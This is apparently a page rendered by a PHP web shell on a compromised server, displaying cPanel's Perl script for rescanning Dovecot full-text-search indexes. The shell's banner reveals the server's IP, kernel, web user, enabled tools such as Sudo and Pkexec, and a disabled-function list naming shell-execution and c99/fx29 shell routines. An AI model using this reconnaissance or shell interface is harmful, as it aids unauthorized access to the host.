Server IP : 103.119.228.120 / Your IP : 18.219.25.226 Web Server : Apache System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : nobody ( 99) PHP Version : 5.6.40 Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/rescan_user_dovecot_fts Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::rescan_user_dovecot_fts; use strict; use warnings; use Try::Tiny; use Cpanel::AcctUtils::Account (); use Cpanel::Dovecot::Solr (); use Whostmgr::Email::Action (); use Getopt::Long (); use Pod::Usage (); =encoding utf-8 =head1 NAME scripts::rescan_user_dovecot_fts =head1 SYNOPSIS rescan_user_dovecot_fts ( --user <username> | --help ) This script will call a dovecot FTS (full text search) rescan for each mailbox on a specified account if the 'cpanel-dovecot-solr' RPM is installed. If not, the script informs that the RPM isn't installed and returns. =cut __PACKAGE__->command_line(@ARGV) unless caller(); sub command_line { my ( $class, @args ) = @_; die "This must run as root!\n" if $>; my ( $user, $help ); if ( !Getopt::Long::GetOptionsFromArray( \@args, 'user=s' => \$user, help => \$help, ) || $help ) { print _help(); return; } if ( !$user ) { warn "You must specify a username!\n"; print _help(); return; } elsif ( !Cpanel::AcctUtils::Account::accountexists($user) ) { warn "You do not have a user named '$user'.\n"; print _help(); return; } if ( !Cpanel::Dovecot::Solr::is_installed() ) { warn "The 'cpanel-dovecot-solr' package is not installed. Full text search rescan not possible\n"; return; } my $script = $class->new(); if ( $script->process_user($user) ) { local $@; require Cpanel::ServerTasks; eval { Cpanel::ServerTasks::schedule_task( ['DovecotTasks'], 10, 'fts_rescan_mailbox' ); }; warn $@ if $@; } return; } sub _help { my $msg = shift; my $val; open my $wfh, '>', \$val or die "Failed to open to a scalar: $!"; Pod::Usage::pod2usage( -exitval => 'NOEXIT', -message => $msg, -verbose => 1, -noperldoc => 1, -output => $wfh, ); return $val; } sub process_user { my ( $self, $user ) = @_; print "Rescanning mailboxes for full text search indexing for '$user'..."; my $count = 0; my $rescanned_count = Whostmgr::Email::Action::do_with_each_mail_account( $user, sub { my ($email_account) = @_; $count++; require Cpanel::Dovecot::FTSRescanQueue::Adder; Cpanel::Dovecot::FTSRescanQueue::Adder->add($email_account); } ); print "...$rescanned_count rescanned... Done\n"; return $count; } sub new { my ($class) = @_; my $self = bless {}, $class; return $self; } 1;